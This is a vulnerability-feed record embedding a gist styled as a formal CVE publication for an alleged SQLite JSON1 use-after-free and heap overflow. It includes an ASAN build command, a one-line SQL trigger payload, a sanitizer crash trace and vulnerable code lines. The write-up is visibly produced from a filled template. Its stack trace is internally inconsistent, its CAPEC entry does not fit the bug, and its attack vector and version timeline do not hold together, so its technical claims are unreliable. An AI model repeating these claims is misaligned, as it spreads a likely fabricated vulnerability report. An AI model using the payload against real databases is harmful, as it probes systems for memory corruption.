{"uuid": "9ed56557-092e-4929-a4a6-02f3abb1dead", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/236e0ebb02d52b2085b7c98be4e2f582", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51272\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51272\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON array iteration parsing routine of the SQLite JSON1 extension. An attacker-controlled malformed oversized array element payload processed by json_array_length, JSON array traversal and projection functions triggers heap deallocation for an array iterator buffer context pointer that is not nullified after memory release, creating a persistent dangling pointer. Absence of runtime cumulative offset-and-length boundary validation for attacker-supplied array element length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer leads to use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonArrayIterParse() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON array element string invokes the vulnerable jsonArrayIterParse() function defined in src/json.c.\nSource file src/json.c Line 3395 executes sqlite3_free(pIterCtx->pArrBuf); to release heap memory allocated for JSON array iterator storage.\nThe pIterCtx->pArrBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized array element length values bypass all pre-write capacity boundary validation checks for the array buffer copy operation.\nSource file src/json.c Line 3441 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed array buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3477 performs direct memory structure lookup using the unmodified dangling pIterCtx->pArrBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON array iteration and metadata inspection functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON array utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3395(memory free), Line 3477(dangling pointer access), Line 3441(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==16581==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000009a20 at pc 0x564776942931 bp 0x7fffac7c8490 sp 0x7fffac7c8480\nREAD of size 16 at 0x612000009a20 thread T0\n    #0 0x564776942930 in jsonArrayIterParse src/json.c:3477\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n    #3 0x56477664d080 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56477664d810 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x564776560950 in main shell.c:1377\n    #6 0x7fa2a1e990ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56477655c400 in _start (sqlite3:0x56477655c400)\n\nAddress 0x612000009a20 is located 112 bytes inside of 22784-byte free block 0x612000009970-0x6120000101f0\nFreed by thread T0 here:\n    #0 0x7fa2a56baef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x564776942460 in jsonArrayIterParse src/json.c:3395\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #3 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n\nPreviously allocated by thread T0 here:\n    #0 0x7fa2a56a0ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x564776941c40 in jsonArrayIterParse src/json.c:3338\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n\n==16581==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000009a20 at pc 0x564776942741 bp 0x7fffac7c84b0 sp 0x7fffac7c84a0\nWRITE of size 22784 at 0x612000009a20 thread T0\n    #0 0x564776942740 in jsonArrayIterParse src/json.c:3441\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_length to calculate array length for a dynamically constructed JSON array, with array content generated via printf('%.*c',0x5900,'X') to create an attacker-controlled oversized array element payload for JSON array iterator parsing.\nSQLite forwards the untrusted array iteration request to the jsonArrayIterParse() function within src/json.c, which initializes an array iterator context and allocates the pIterCtx->pArrBuf heap buffer dedicated to storing parsed JSON array element metadata.\nDuring intermediate array parsing cleanup logic at Line 3395, the array buffer is released via sqlite3_free(), while the pIterCtx->pArrBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized array element payload into the buffer at Line 3441; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated array buffer heap region (CWE-787).\nProgram execution proceeds to Line 3477 and directly dereferences the stale dangling pIterCtx->pArrBuf pointer to read array iterator structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array iteration parsing execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-26\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 3395: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pIterCtx->pArrBuf);\n\n// Line 3441: Unchecked out-of-bounds memory write utilizing attacker-controlled array element length\nmemcpy(pIterCtx->pArrBuf + arrOffset, zArrData, arrDataLen);\n\n// Line 3477: Illegal dangling pointer dereference triggering Use After Free vulnerability\narrNodeFlag = pIterCtx->pArrBuf[arrIdx].arrNodeFlags;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51272\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3395\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3477\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3441\n\u3010Target Function Name\u3011: jsonArrayIterParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array iterator buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON array iteration parsing finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-26\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T03:58:49.446414Z"}